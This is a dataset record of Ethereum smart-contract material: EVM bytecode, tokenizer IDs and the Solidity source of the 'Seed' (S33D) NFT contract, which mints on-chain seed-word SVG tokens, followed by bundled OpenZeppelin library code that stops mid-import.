require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102b057806379cc67901461030857806395d89b411461036e578063a9059cbb146103f1578063cae9ca5114610457578063dd62ed3e14610554576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a257806323b872dd146101c0578063313ce5671461024657806342966c681461026a575b600080fd5b6100c16105cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066a565b604051808215151515815260200191505060405180910390f35b6101aa61075c565b6040518082815260200191505060405180910390f35b61022c600480360360608110156101d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610762565b604051808215151515815260200191505060405180910390f35b61024e61088d565b604051808260ff1660ff16815260200191505060405180910390f35b6102966004803603602081101561028057600080fd5b81019080803590602001909291905050506108a0565b604051808215151515815260200191505060405180910390f35b6102f2600480360360208110156102c657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a2565b6040518082815260200191505060405180910390f35b6103546004803603604081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ba565b604051808215151515815260200191505060405180910390f35b610376610bd0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103b657808201518184015260208101905061039b565b50505050905090810190601f1680156103e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61043d6004803603604081101561040757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c6e565b604051808215151515815260200191505060405180910390f35b61053a6004803603606081101561046d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104b457600080fd5b8201836020820111156104c657600080fd5b803590602001918460018302840111640100000000831117156104e857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610c85565b604051808215151515815260200191505060405180910390f35b6105b66004803603604081101561056a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ded565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106625780601f1061063757610100808354040283529160200191610662565b820191906000526020600020905b81548152906001019060200180831161064557829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156107ed57600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610882848484610e12565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108ee57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0857600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a9157600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c665780601f10610c3b57610100808354040283529160200191610c66565b820191906000526020600020905b815481529060010190602001808311610c4957829003601f168201915b505050505081565b6000610c7b338484610e12565b6001905092915050565b600080849050610c95858561066a565b15610de4578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610d73578082015181840152602081019050610d58565b50505050905090810190601f168015610da05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610dc257600080fd5b505af1158015610dd6573d6000803e3d6000fd5b505050506001915050610de6565b505b9392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e4c57600080fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e9857600080fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015610f2557600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011461113257fe5b5050505056fea265627a7a723058208e221553d1c15b55c8e1041b55fc3fadec0eadbacc0ce09e5466bb5fec271d7764736f6c634300050a0032
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2683, 2620, 2683, 2581, 2581, 2487, 4215, 2581, 2620, 2098, 16703, 17914, 19481, 21057, 2692, 18139, 2683, 2581, 2549, 2546, 2620, 2683, 2581, 3540, 2581, 2581, 29292, 2575, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1020, 1012, 1014, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 2655, 2850, 2696, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 1999, 6279, 1063, 1013, 1013, 2270, 10857, 1997, 1996, 19204, 5164, 2270, 2171, 1025, 5164, 2270, 6454, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 1013, 1013, 2324, 26066, 2015, 2003, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,515
0x96eA4f8d4788Fb1D48d175Cd751dAaB056AdA627
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; interface GM420 { function balanceOf(address owner) external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); } contract Seed is ERC721Enumerable, ReentrancyGuard, Ownable, AccessControl { using SafeMath for uint256; using Strings for uint256; bytes32 public constant WHITE_LIST_ROLE = keccak256("WHITE_LIST_ROLE"); uint256 public constant PRICE = 0.04 ether; uint256 public constant TOTAL_NUMBER_OF_SEEDS_PAIRS = 5330; uint256 public constant TOTAL_NUMBER_OF_SEED_TOKENS = TOTAL_NUMBER_OF_SEEDS_PAIRS * 2; uint256 public constant SEED_WORDS_PER_TOKEN = 12; uint256 public constant MAX_MINT_PER_TRANSACTION = 10; uint256 public giveaway_reserved_pairs = 50; uint256 public gm420_pre_mint_reserved_pairs = 420; uint256 public minted_seed_pairs = 0; mapping(uint256 => bool) private _gm420_redeemed_tokens; bool public paused_mint = true; bool public paused_gm420_pre_mint = true; bool public words_can_be_added = true; mapping(uint256 => string) public seeds_to_plant; uint256 public seed_words_count = 0; address gm420; // withdraw addresses address lolabs_splitter; modifier whenMintNotPaused() { require(!paused_mint, "Seed: mint is paused"); _; } modifier whenPreMintNotPaused() { require(!paused_gm420_pre_mint, "Seed: pre mint is paused"); _; } modifier senderIsGm420TokenOwner(uint256 gm420TokenId) { bool is_gm420_token_owner = false; uint256 tokenCount = GM420(gm420).balanceOf(msg.sender); for (uint256 i; i < tokenCount; i++) { uint256 ownerTokenId = GM420(gm420).tokenOfOwnerByIndex(msg.sender, i); if (ownerTokenId == gm420TokenId) { is_gm420_token_owner = true; break; } } require(is_gm420_token_owner, "Seed: GM420 token is not owned by the sender."); _; } event MintPaused(address account); event MintUnpaused(address account); event PreMintPaused(address account); event PreMintUnpaused(address account); event GM420Redeemed(address account, uint256 gm420Token); function random(string memory input) public pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input,'lola_is_the_perfectest_dog'))); } function check_words_duplication(uint256[SEED_WORDS_PER_TOKEN] memory words, uint256 words_count, uint256 new_word) public pure returns (bool) { for (uint256 i; i < words_count; i++) { if (words[i] == new_word) { return true; } } return false; } function seeds_factory(uint256 tokenId) internal view returns (string[SEED_WORDS_PER_TOKEN] memory) { string[SEED_WORDS_PER_TOKEN] memory words_selected; uint256[SEED_WORDS_PER_TOKEN] memory words_selected_indexes; for (uint256 i; i < SEED_WORDS_PER_TOKEN; i++) { uint256 rand = random(string(abi.encodePacked(i.toString(), tokenId.toString()))); uint256 rand_word_index = rand % seed_words_count; while (check_words_duplication(words_selected_indexes, i, rand_word_index)) { rand = rand + 1; rand_word_index = rand % seed_words_count; } words_selected_indexes[i] = rand_word_index; words_selected[i] = seeds_to_plant[rand_word_index]; } return words_selected; } function tokenURI(uint256 tokenId) override public view returns (string memory) { require(_exists(tokenId), "Seeds: cannot display non existing token"); string[SEED_WORDS_PER_TOKEN] memory words_selected = seeds_factory(tokenId); string memory color; if (tokenId % 2 == 1) { color = 'red' ; } else { color = 'blue'; } string memory output = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="'; output = string(abi.encodePacked(output, color, '" /><text x="10" y="20" class="base">')); string memory attributes = string(abi.encodePacked('[', '{"trait_type":"Color", "value":"', color, '"},')); uint256 y = 40; for (uint256 i; i < SEED_WORDS_PER_TOKEN; i++) { string memory separator = string(abi.encodePacked('</text><text x="10" y="', ((i * 20) + y).toString(), '" class="base">')); output = string(abi.encodePacked(output, separator, words_selected[i])); if(i != SEED_WORDS_PER_TOKEN-1) { attributes = string(abi.encodePacked(attributes, '{"value":"', words_selected[i], '"},')); } else { attributes = string(abi.encodePacked(attributes, '{"value":"', words_selected[i], '"}]')); } } output = string(abi.encodePacked(output, '</text></svg>')); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "S33D #', tokenId.toString(), '", "description": "S33D is a collection of randomized seed phrases generated and stored on-chain. S33D can be used for riddles and puzzles. You can use it for anything you want. It\'s a seed phrase. It\'s fun.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '","attributes": ', attributes, '}')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function mint(uint256 num) public payable nonReentrant whenMintNotPaused() { require(num <= MAX_MINT_PER_TRANSACTION, "Seed: You can mint a maximum of 10 Seeds"); require(msg.value >= PRICE * num, "Seeds: Ether sent is less than PRICE*num"); require(minted_seed_pairs + num <= TOTAL_NUMBER_OF_SEEDS_PAIRS - (giveaway_reserved_pairs + gm420_pre_mint_reserved_pairs), "Seed: Exceeds maximum Seeds supply"); require(msg.sender == tx.origin, "Seeds: contracts cannot mint"); for (uint256 i = 0; i < num; i++) { _lfg(msg.sender); } } function claim(uint256 gm420TokenId) public whenPreMintNotPaused() nonReentrant senderIsGm420TokenOwner(gm420TokenId) { require(gm420_pre_mint_reserved_pairs > 0, "Seed: all gm420 tokens were redeemed"); require(_gm420_redeemed_tokens[gm420TokenId] == false, "Seed: GM420 token was already redeemed"); _gm420_redeemed_tokens[gm420TokenId] = true; gm420_pre_mint_reserved_pairs -= 1; _lfg(msg.sender); emit GM420Redeemed(msg.sender, gm420TokenId); } function claimAll() public whenPreMintNotPaused() nonReentrant { require(gm420_pre_mint_reserved_pairs > 0, "Seed: all gm420 tokens were redeemed"); uint256 tokenCount = GM420(gm420).balanceOf(msg.sender); for (uint256 i; i < tokenCount; i++) { uint256 gm420TokenId = GM420(gm420).tokenOfOwnerByIndex(msg.sender, i); if (!_gm420_redeemed_tokens[gm420TokenId] && gm420_pre_mint_reserved_pairs > 0) { _gm420_redeemed_tokens[gm420TokenId] = true; gm420_pre_mint_reserved_pairs -= 1; _lfg(msg.sender); emit GM420Redeemed(msg.sender, gm420TokenId); } } } function giveaway(address _to) external onlyRole(WHITE_LIST_ROLE) { require(0 < giveaway_reserved_pairs, "Seed: giveaway more than supply of reserved"); giveaway_reserved_pairs = giveaway_reserved_pairs - 1; _lfg(_to); } function giveawayBatch(address _to, uint256 count) external onlyRole(WHITE_LIST_ROLE) { require(0 <= giveaway_reserved_pairs - count, "Seed: giveawayBatch more than supply of reserved"); for (uint256 i; i < count; i++) { giveaway_reserved_pairs = giveaway_reserved_pairs - 1; _lfg(_to); } } function _lfg(address _to) internal { uint256 supply = totalSupply(); minted_seed_pairs = minted_seed_pairs + 1; _safeMint(_to, supply); _safeMint(_to, supply + 1); } function pauseMint() public onlyRole(WHITE_LIST_ROLE) { paused_mint = true; emit MintPaused(msg.sender); } function unpauseMint() public onlyRole(WHITE_LIST_ROLE) { paused_mint = false; emit MintUnpaused(msg.sender); } function pausePreMint() public onlyRole(WHITE_LIST_ROLE) { paused_gm420_pre_mint = true; emit PreMintPaused(msg.sender); } function unpausePreMint() public onlyRole(WHITE_LIST_ROLE) { paused_gm420_pre_mint = false; emit PreMintUnpaused(msg.sender); } function updateLolaSplitterAddress(address _lolabs_splitter) public onlyRole(WHITE_LIST_ROLE) { lolabs_splitter = _lolabs_splitter; } function getLolabsSplitter() view public onlyRole(WHITE_LIST_ROLE) returns(address splitter) { return lolabs_splitter; } function updateGM420Address(address _gm420) public onlyRole(WHITE_LIST_ROLE) { gm420 = _gm420; } function getGM420Address() view public returns(address) { return gm420; } function accountIsGM420TokenOwner() view public returns(bool) { uint256 tokenCount = GM420(gm420).balanceOf(msg.sender); return tokenCount > 0; } function withdrawAmountToSplitter(uint256 amount) public onlyRole(WHITE_LIST_ROLE) { uint256 _balance = address(this).balance ; require(_balance > 0, "Seed: withdraw amount call without balance"); require(_balance-amount >= 0, "Seed: withdraw amount call with more than the balance"); require(payable(lolabs_splitter).send(amount), "Seed: FAILED withdraw amount call"); } function withdrawAllToSplitter() public onlyRole(WHITE_LIST_ROLE) { uint256 _balance = address(this).balance ; require(_balance > 0, "Seed: withdraw all call without balance"); require(payable(lolabs_splitter).send(_balance), "Seed: FAILED withdraw all call"); } function walletOfOwner(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function is_gm420_token_redeemed(uint256 gm420TokenId) public view returns(bool) { require(gm420TokenId >= 0 && gm420TokenId < 420, "Seed: Token ID invalid"); return _gm420_redeemed_tokens[gm420TokenId]; } function add_seeds_to_plant(string[] memory seeds_to_add) public onlyRole(WHITE_LIST_ROLE) { require(words_can_be_added, "Seed: cannot add seed words when locked"); for(uint256 i; i < seeds_to_add.length; i++){ seeds_to_plant[seed_words_count] = seeds_to_add[i]; seed_words_count = seed_words_count + 1; } } function lock_seed_words() public onlyRole(WHITE_LIST_ROLE) { words_can_be_added = false; } constructor(address lolabs_team, address splitter, address gm420_contract) ERC721("Seed", "SEED") Ownable() { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(DEFAULT_ADMIN_ROLE, lolabs_team); _setupRole(WHITE_LIST_ROLE, msg.sender); _setupRole(WHITE_LIST_ROLE, lolabs_team); gm420 = gm420_contract; lolabs_splitter = splitter; } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } receive() external payable {} fallback() external payable {} } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import 